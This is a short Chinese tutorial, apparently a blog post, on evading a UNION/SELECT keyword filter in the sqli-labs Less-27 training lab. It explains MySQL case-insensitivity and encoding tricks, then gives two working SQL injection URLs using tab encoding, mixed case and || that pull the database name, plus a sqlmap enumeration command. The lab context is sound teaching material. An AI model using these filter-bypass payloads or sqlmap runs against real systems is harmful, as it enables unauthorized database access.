0X01 基础知识介绍
1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码通过解码识别。
3、符号和关键字替换 and – &&、or – ||。
4、空格使用 %20表示、%0a换行 %09 tab
0X02 去除(union)的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
去除全家桶
0X03 绕过去除(union)的sql的注入
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
%09表示空格、 ||表示 or 、union/select 大小写、双写绕过。
http://127.0.0.1/sqli-labs/Less-27/?id=0%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271
http://127.0.0.1/sqli-labs/Less-27/?id=0%27%09%09uniOn%09SelEcT%091,database(),3%09||%09%271
同样的配方构建payload
0X04 sqlmap安全检测
sqlmap -u “URL” --dbs --batch
-----E-----N-----D-----
😄如有问题,请各位师傅斧正,你的支持是我最大的动力。